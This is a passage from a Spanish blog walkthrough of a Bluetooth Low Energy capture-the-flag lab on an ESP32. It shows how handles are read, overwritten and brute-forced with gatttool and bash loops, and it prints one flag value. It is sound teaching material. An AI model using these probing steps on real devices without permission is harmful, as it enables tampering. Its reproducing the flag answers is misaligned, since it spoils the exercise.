<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRNQd3XXZHzXYi7po00XWH76T2bM8gHTpdCp6p51S6WHmV2D8IvjyYlaExSX7qWkG2YjONvVFP68i3bIhMJIhdN32QZgfLK67-iOcNZYRRFyQQQPXFgZVYRtDQE3k3Z1k7U58Toa4X_w/s1600/Flag04_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="105" data-original-width="543" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRNQd3XXZHzXYi7po00XWH76T2bM8gHTpdCp6p51S6WHmV2D8IvjyYlaExSX7qWkG2YjONvVFP68i3bIhMJIhdN32QZgfLK67-iOcNZYRRFyQQQPXFgZVYRtDQE3k3Z1k7U58Toa4X_w/s1600/Flag04_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
Acorde a la norma del BLE, el UUID que debe almacenar el nombre del dispositivo es <b>00002a00</b>, por lo que debemos is pidiéndole al ESP32 las características de los servicios ofrecidos hasta localizar ese UUID, lo vamos a encontrar dentro del handle <b>0x0016</b>:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjNSP3APKA6rWyIRHjdHjcpV4fqgB7DOpw_SfU-zjfgbFXEmoZg__OUnNK8MdKfdSGVamGDu2XmXSgwPFo672YMNLF3Ohyphenhyphen8JDYrF7FTZfKavmysXHshyq3uLAUXAkIzSBU6NWw3I_yeU/s1600/Flag04_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="331" data-original-width="817" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjNSP3APKA6rWyIRHjdHjcpV4fqgB7DOpw_SfU-zjfgbFXEmoZg__OUnNK8MdKfdSGVamGDu2XmXSgwPFo672YMNLF3Ohyphenhyphen8JDYrF7FTZfKavmysXHshyq3uLAUXAkIzSBU6NWw3I_yeU/s1600/Flag04_01.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Aprovechamos la sesión interactiva conectada al dispositivo para leer el valor del handle y obtendremos el valor en hexadecimal.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-LCsFiJSLYR9rT42f-3rF2VBbrNj3lxNBvS0uBqHDi3Ry7lm9RoFSzYJR5erz55FS-W9OqDf2n95qp_Q1zZCpupMSutWtqzBiZGn91xpsnqs-0f5UKuGobIOdikgPu9iBW1PSrq5eF4M/s1600/Flag04_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="56" data-original-width="963" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-LCsFiJSLYR9rT42f-3rF2VBbrNj3lxNBvS0uBqHDi3Ry7lm9RoFSzYJR5erz55FS-W9OqDf2n95qp_Q1zZCpupMSutWtqzBiZGn91xpsnqs-0f5UKuGobIOdikgPu9iBW1PSrq5eF4M/s1600/Flag04_02.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Podemos remitir la flag en formato hexadecimal truncando la cadenas a los primeros 20 caracteres como ya sabemos y usando gatttool, o podemos convertir la cadena aunque sea mas perdida de tiempo si después lo que queremos es usar nuestro archivo ejecutable para remitir la flag.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrItGwbk2__zU1JsRzgWVNivO7edJ23KFCeXEEPJ9RlU4S-e4-peLZDsjtSXqRXz4PWX_JtwLJxZr8cGB5fnBN1U2pkl12LxsoEchYIBJjX8m5-gUOM9aUmwECk5z3srG3dFfZS4YEn7k/s1600/Flag04_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="968" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrItGwbk2__zU1JsRzgWVNivO7edJ23KFCeXEEPJ9RlU4S-e4-peLZDsjtSXqRXz4PWX_JtwLJxZr8cGB5fnBN1U2pkl12LxsoEchYIBJjX8m5-gUOM9aUmwECk5z3srG3dFfZS4YEn7k/s1600/Flag04_03.png" /></a></div>
<br />
<br /></div>
<div>
<div style="text-align: justify;">
Ya solo nos queda meter la flag y consultar el score para ver como otro tanto mas a subido al marcado a nuestro favor.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzdcwf8AgJ7G0VU2ev5sOW_KEqoLXFK43m6t0R2AC6oYGZKjfVJYLghrEesx74KLHciptC_6um6fzSHQtkG9ekQON3w10LwdDAGwyjOc8cyP5cxkCrw3vY8yyk2XkByg_geb8vPVJLBQ/s1600/Flag04_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="79" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzdcwf8AgJ7G0VU2ev5sOW_KEqoLXFK43m6t0R2AC6oYGZKjfVJYLghrEesx74KLHciptC_6um6fzSHQtkG9ekQON3w10LwdDAGwyjOc8cyP5cxkCrw3vY8yyk2XkByg_geb8vPVJLBQ/s1600/Flag04_04.png" /></a></div>
<br />
<br />
<br />
<h4>
Flag 0x0032</h4>
<div style="text-align: justify;">
Comenzamos leyendo el handle <b>0x0032 </b>y observamos que nos pide sobrescribirlo con, literalmente, cualquier cosa.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi54sn0Vh0pxCVkU307JodjxReL4iYRaU8PgXekfugZtT7K4LmeLr06sG2_TL4LCy0EuljWSZb8hmrxxEmVBWUapOrBUjPZ7_vNTqjiDJyTZyzD8hK9B3mfVGBdwdfoYOOGznKsJ2MMIx0/s1600/Flag5_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi54sn0Vh0pxCVkU307JodjxReL4iYRaU8PgXekfugZtT7K4LmeLr06sG2_TL4LCy0EuljWSZb8hmrxxEmVBWUapOrBUjPZ7_vNTqjiDJyTZyzD8hK9B3mfVGBdwdfoYOOGznKsJ2MMIx0/s1600/Flag5_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Vamos a escribir por ejemplo la string ""Hacker De Cabecera" con gatttool, una vez hecho leemos de nuevo el handle y observamos como efectivamente ya ha cambiado por lo que acabamos de escribir.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizbcaBsJcZD42RPpXsgNiDp7JFyKyANJ4JOtWrKmXA3KOyppPBZFgcwxk5a9tk_lltCaPfb0nu_2T7rWhkUTDaECeXRNQ_RdXDIJDAZpcH1SJ5hgXtfd46GbLz-sYO_fm6lPYQxl4jcdQ/s1600/Flag5_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="1031" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizbcaBsJcZD42RPpXsgNiDp7JFyKyANJ4JOtWrKmXA3KOyppPBZFgcwxk5a9tk_lltCaPfb0nu_2T7rWhkUTDaECeXRNQ_RdXDIJDAZpcH1SJ5hgXtfd46GbLz-sYO_fm6lPYQxl4jcdQ/s1600/Flag5_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<br />
<div style="text-align: justify;">
Remitimos la flag y comprobamos puntuación: another one bites the dust!!!</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi82dst0SDbA0OMr-39v8juVIRzHPsSVlxHmHOxLR4-YV2cm-NmeRj4JRv2J0oVovxu_B_arSGuYgJC9WJh8AiBhx3X0on7tvSEkgEPFeZdYx6x7Y1jug0TBCfJ_yGtjbMD9VKQ5z_eMdE/s1600/Flag5_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="78" data-original-width="445" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi82dst0SDbA0OMr-39v8juVIRzHPsSVlxHmHOxLR4-YV2cm-NmeRj4JRv2J0oVovxu_B_arSGuYgJC9WJh8AiBhx3X0on7tvSEkgEPFeZdYx6x7Y1jug0TBCfJ_yGtjbMD9VKQ5z_eMdE/s1600/Flag5_02.png" /></a></div>
<br />
<br />
<br />
<h4>
Flag 0x0034</h4>
</div>
<div>
<div style="text-align: justify;">
La hint de esta flag nos invita a hacer lo mismo que en la anterior: rescribir un handle con una cadena ascii concreta, en este caso debe ser "yo".</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA4afw4Lk5gRmPLbuiCY6_gKtlDvPFE9B2DiD0amjMngUElq9Z-ALzA9v3fd8ZcxERNlisWCkckk2_i_xtcwHVWherpjId6TrVAIJ-fT7GX4tA6vVD18Fdq2DeZJJZ6ioLmriJxlc0okE/s1600/Flag6_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA4afw4Lk5gRmPLbuiCY6_gKtlDvPFE9B2DiD0amjMngUElq9Z-ALzA9v3fd8ZcxERNlisWCkckk2_i_xtcwHVWherpjId6TrVAIJ-fT7GX4tA6vVD18Fdq2DeZJJZ6ioLmriJxlc0okE/s1600/Flag6_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Repetimos el proceso de la flag anterior y escribimos la cadena indicada en el handle <b>0x0034 </b>para posteriormente meter nuestra flag.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWEmV2e7i_Y0jJo1j_1YGCPbq3TbZWRF-XnNZ0S1YIWOlOLmJqHa9sCqCjCSJa2FMXacFyO4aawdLGyt-HdlU8SBksKPF5zwqswwuZsZOBYfD64hicty2bhYgOZhLoE_iNuSIPKtLDmYU/s1600/Flag6_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="142" data-original-width="897" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWEmV2e7i_Y0jJo1j_1YGCPbq3TbZWRF-XnNZ0S1YIWOlOLmJqHa9sCqCjCSJa2FMXacFyO4aawdLGyt-HdlU8SBksKPF5zwqswwuZsZOBYfD64hicty2bhYgOZhLoE_iNuSIPKtLDmYU/s1600/Flag6_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h4>
Flag 0x0036</h4>
<div>
<div style="text-align: justify;">
Para esta flag de nuevo nos piden escribir sobre un handle, pero en esta ocasión nos piden que sea el valor hexadecimal <b>0x07</b>. Nos volveremos a valer de gatttol y de la opción <span style="font-family: "courier new" , "courier" , monospace;"><b>--char-write-req</b></span> igual que las flags anteriores. </div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixSbnbBgHrdXfQNdcQt3LhKCvPoPMFIvQNnjFt60kmxVmC2c44mhNdWYu8s7dYhNH7yXv12Sw8lZ7noqVsZKk-cVZSIHp_WvSOapBn_EF_7g8vCyQIpnDgHdP7Fi7j2kF4cSkMAL6Ybc/s1600/Flag7_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="695" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixSbnbBgHrdXfQNdcQt3LhKCvPoPMFIvQNnjFt60kmxVmC2c44mhNdWYu8s7dYhNH7yXv12Sw8lZ7noqVsZKk-cVZSIHp_WvSOapBn_EF_7g8vCyQIpnDgHdP7Fi7j2kF4cSkMAL6Ybc/s1600/Flag7_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
De nuevo solo nos falta meter la flag y comprobar que es correcta.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWn36O8JRTDw1_HnafBVCjf3vroU29IHXPsH-3Qn4brpiZbE4LL8lhqy6YQ6RyllkIU9Bg7YsOCfuhasYndPRUoslMIAaiK0wut_hUAR-B1-X4QZhxAKZ26dLElv6oHr9eRT0M8tG4N38/s1600/Flag7_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="447" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWn36O8JRTDw1_HnafBVCjf3vroU29IHXPsH-3Qn4brpiZbE4LL8lhqy6YQ6RyllkIU9Bg7YsOCfuhasYndPRUoslMIAaiK0wut_hUAR-B1-X4QZhxAKZ26dLElv6oHr9eRT0M8tG4N38/s1600/Flag7_01.png" /></a></div>
<div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0038</h4>
</div>
<div>
<div style="text-align: justify;">
En esta ocasión el handle nos solicita escribir en un handle diferente a él mismo y nos pide que rescribamos el valor concreto <span style="font-family: "courier new" , "courier" , monospace;"><b>0xC9</b>.</span></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYgkWgqj67kn_LY9puXz586n1DzAYunFPkOmwmBBw4WOfsP8x9W-vtWXqO_XTDCdZCL2Ckvmp5fFu87LkmdcumyLDgXUh06zButHyczJkOZFjURk-JPMdFzTv7A-l02T_FBlC4UVX0Wps/s1600/Flag8_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYgkWgqj67kn_LY9puXz586n1DzAYunFPkOmwmBBw4WOfsP8x9W-vtWXqO_XTDCdZCL2Ckvmp5fFu87LkmdcumyLDgXUh06zButHyczJkOZFjURk-JPMdFzTv7A-l02T_FBlC4UVX0Wps/s1600/Flag8_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Procedemos del mismo modo que en las flags anteriores y reescribimos el handle <b>0x0058 </b>y al volver a leer el <b>0x0038 </b>observamos que ya ha cambiado.</div>
<div class="separator" style="clear: both; text-align: justify;">
Solo nos queda meter la flag y comprobar que el punto ha subido a nuestro marcador.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPl3p_4ge712x1UvpXdM7AflVPcIy9NQjINXOVh1wP6ZOQN9zZz3vFCZGm17xYNGc4BWQ5LiQfn4ijwnabj9r90VQQxzrubvejMaCLLpkdNczMjjbO_ZoNdfGryL-uuW-6HiFrxHeBkMs/s1600/Flag8_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="146" data-original-width="663" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPl3p_4ge712x1UvpXdM7AflVPcIy9NQjINXOVh1wP6ZOQN9zZz3vFCZGm17xYNGc4BWQ5LiQfn4ijwnabj9r90VQQxzrubvejMaCLLpkdNczMjjbO_ZoNdfGryL-uuW-6HiFrxHeBkMs/s1600/Flag8_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x003c</h4>
</div>
</div>
<div class="separator" style="clear: both; text-align: justify;">
Aquí la cosa se puse interesante: este handle nos reta a hacerle fuerza bruta desde el valor hexadecimal <span style="font-family: "courier new" , "courier" , monospace;"><b>00</b> </span>hasta el valor hexadecimal <b><span style="font-family: "courier new" , "courier" , monospace;">ff</span></b>.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6KpJwiOWOByMQ8ldlxGK4nQt94j9HYPTOMwmGX1VSQUP3OgpkRl7s3GbhCBSMkSQshtNyfCxDJPxjqDdfRilFz7lV4ab5W2bxSRJpVrFXBP8D9n30gqf3RxGKt-X7BrkhExr6gmiKQW4/s1600/Flag9_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6KpJwiOWOByMQ8ldlxGK4nQt94j9HYPTOMwmGX1VSQUP3OgpkRl7s3GbhCBSMkSQshtNyfCxDJPxjqDdfRilFz7lV4ab5W2bxSRJpVrFXBP8D9n30gqf3RxGKt-X7BrkhExr6gmiKQW4/s1600/Flag9_00.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Hablando "en cristiano" o mejor dicho en decimal, nos pide hacerle fuerza bruta entre el valor decimal 0 y el valor decimal 255. Para ello podemos organizar desde la propia consola un bucle en bash para que itere por cada valor comprendido entre las indicadas.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQaKZH28T3Y19Ry8YKCVVRkM1aRU_qsCISXAobIUz7A3kdYeIaauywROEidbb5OrHnS_Ld2cigy_zvUk4Bvt_AbxDGj3Iw1a7E-C81jLaehgokDTimGYKp9h0QGcSygdCUGXu6Zoynzzo/s1600/Flag9_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="234" data-original-width="707" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQaKZH28T3Y19Ry8YKCVVRkM1aRU_qsCISXAobIUz7A3kdYeIaauywROEidbb5OrHnS_Ld2cigy_zvUk4Bvt_AbxDGj3Iw1a7E-C81jLaehgokDTimGYKp9h0QGcSygdCUGXu6Zoynzzo/s1600/Flag9_01.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Una vez que haya finalizado, volvemos a leer el handle <b>0x003c </b>y observamos que ya ha cambiado su valor, por lo que procedemos a meter la flag y sumar otro punto más.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq_qUYWI1HD8lw9Q0efNMdwS54and3pRz5EEySjpaRnI-m9R7qP-EM63BwsHXodCdpyFkE8e8A1ieL1KGcViEtGxGqzmB0SLVf1fUBPaJpUmH4BuE0MZucLyNJM7BF55Cd58nKMMTH5xw/s1600/Flag9_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="163" data-original-width="431" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq_qUYWI1HD8lw9Q0efNMdwS54and3pRz5EEySjpaRnI-m9R7qP-EM63BwsHXodCdpyFkE8e8A1ieL1KGcViEtGxGqzmB0SLVf1fUBPaJpUmH4BuE0MZucLyNJM7BF55Cd58nKMMTH5xw/s1600/Flag9_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x003e</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
Otro reto interesante! En esta ocasión el handle nos pide que lo leamos... nada más y nada menos que 1000 veces!!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1gKskKg8qEaZWs3bCCk83dqyaxzhEC4mEo45wqLCXZA_b8wYSX-LFf-vdc0HMffXKTJ-CFOmOwMSoGZ2C4FWlommFmPbs7jXOC8LGtcE3sb_x_E2qDdlgUYL2y2bFk5eT1mQnkMKpbc/s1600/Flag10_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="37" data-original-width="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1gKskKg8qEaZWs3bCCk83dqyaxzhEC4mEo45wqLCXZA_b8wYSX-LFf-vdc0HMffXKTJ-CFOmOwMSoGZ2C4FWlommFmPbs7jXOC8LGtcE3sb_x_E2qDdlgUYL2y2bFk5eT1mQnkMKpbc/s1600/Flag10_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Como el usar el cursor superior y pulsar el intro durante 999 veces más no suena del todo interesante... será mejor que confeccionemos otro bucle en bash que lance durante 1000 veces nuestro archivo ejecutable para leer el handle.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFZaT-WyJtjRvk4BMdBOXvGlaXj9nyAgF91lXb5zl1H81h0uBdd07sFEjypWjWpH-wBYNYVg9ErwPs_WT0xb3OHUmOXi22ppmzKg3PxDTIqOJauvTHLbfbVTmIcQa-BgVEEdRXgyM-xoE/s1600/Flag10_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="244" data-original-width="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFZaT-WyJtjRvk4BMdBOXvGlaXj9nyAgF91lXb5zl1H81h0uBdd07sFEjypWjWpH-wBYNYVg9ErwPs_WT0xb3OHUmOXi22ppmzKg3PxDTIqOJauvTHLbfbVTmIcQa-BgVEEdRXgyM-xoE/s1600/Flag10_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Después de un rato corriendo nuestro bucle, observaremos como el valor a pasado de ser "<span style="font-family: "courier new" , "courier" , monospace;"><b>Read me 1000 times</b></span>" a "<span style="font-family: "courier new" , "courier" , monospace;"><b>6ffcd214ffebdc0d069e</b></span>".</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimtPdXIBACBva62k43k3ztlqxDQDrCWE30nwK81KxkroAc3CBCxXnrQwFegpoYaIgnGpi4ZcuhZSkDmpEodpPjhyphenhyphenQUTOxtdv6aT17cOdmJhJ-FxKGntX0u8RCUJbAuyeoOFKWnoy4abYQ/s1600/Flag10_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimtPdXIBACBva62k43k3ztlqxDQDrCWE30nwK81KxkroAc3CBCxXnrQwFegpoYaIgnGpi4ZcuhZSkDmpEodpPjhyphenhyphenQUTOxtdv6aT17cOdmJhJ-FxKGntX0u8RCUJbAuyeoOFKWnoy4abYQ/s1600/Flag10_02.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Metemos la flag y comprobamos la puntuación para dar por superada esta flag.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH6A6xo8TifNAfOyM0TbUEp3V6Tg-fb2RULEk1_AUnxQkg9JwhOo9I70xQ_HD0muILjcLI1p-6E45XcpFq58mYnxMygsoabz1om3EeDxk72ldaP9ZFIx-LX9TIyEZ3OeYm_S-AdlTyexk/s1600/Flag10_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="77" data-original-width="514" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH6A6xo8TifNAfOyM0TbUEp3V6Tg-fb2RULEk1_AUnxQkg9JwhOo9I70xQ_HD0muILjcLI1p-6E45XcpFq58mYnxMygsoabz1om3EeDxk72ldaP9ZFIx-LX9TIyEZ3OeYm_S-AdlTyexk/s1600/Flag10_03.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
<h4>
Flag 0x0040</h4>
</div>
<div>
<div style="text-align: justify;">
Al leer el handle lo que nos solicita en esta ocasión es que nos mantengamos a la escucha del mismo a la espera de alguna notificación.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk3XSYXiSXOui2pk6EOqX4P-k21B-trxNPnPJdZyzGTWkLIFkOpjdYe6vEBt2m8FOSeujvHa2K9ueoFN8ndBWrAwyrccVtSgbAcZ3WdQWOIQbx7fb3tf0NYeIHk_TY2NadLdRIxAwWOvg/s1600/Flag11_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="37" data-original-width="381" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk3XSYXiSXOui2pk6EOqX4P-k21B-trxNPnPJdZyzGTWkLIFkOpjdYe6vEBt2m8FOSeujvHa2K9ueoFN8ndBWrAwyrccVtSgbAcZ3WdQWOIQbx7fb3tf0NYeIHk_TY2NadLdRIxAwWOvg/s1600/Flag11_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Para ello vamos a grabar un valor de 0100 con gatttool que junto a la opción <span style="font-family: "courier new" , "courier" , monospace;"><b>--listen</b></span> para quedarnos a la escucha (los valores para mantener a la escucha corresponden a 0100 para notificaciones, 0200 para indicaciones, 0300 para ambos). </div>
</div>
<div>
<div style="text-align: justify;">
Después de solo unos segundos obtendremos la notificación necesaria.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOFcQmCEAgxoobvvBSDFYECgC7yc68K9mHewsKX3tcP9TU-Z7j-M0xY3uImD5gEQYWwFpDCsHiFvkELKx2eudHONBp5q4RTe3aauLM7KJQhJdx99D5VvYCf0tLu4sSS_x3wnIiysvXpd8/s1600/Flag11_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="883" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOFcQmCEAgxoobvvBSDFYECgC7yc68K9mHewsKX3tcP9TU-Z7j-M0xY3uImD5gEQYWwFpDCsHiFvkELKx2eudHONBp5q4RTe3aauLM7KJQhJdx99D5VvYCf0tLu4sSS_x3wnIiysvXpd8/s1600/Flag11_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Ya solo nos falta remitir la flag y comprobar el marcador: ya hemos superado la mitad de los retos!!!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmLXCHff6xGdhGRGJSGGsdzsittkwHmm73n9_AVRqCERHnF4li1FWXxuobiZrHE6ZR4RoR33-Jusb4xGxnNeZrDiescNjemm0E8oDB90TwJGipKuJZO06hTUd8Ayy8DXhSZV37fSNGEQA/s1600/Flag11_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="1056" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmLXCHff6xGdhGRGJSGGsdzsittkwHmm73n9_AVRqCERHnF4li1FWXxuobiZrHE6ZR4RoR33-Jusb4xGxnNeZrDiescNjemm0E8oDB90TwJGipKuJZO06hTUd8Ayy8DXhSZV37fSNGEQA/s1600/Flag11_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x0042</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
En esta ocasión al leer el handle lo que nos indica es que debemos escuchar el handle <b>0x0044 </b>por una "indicación".</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
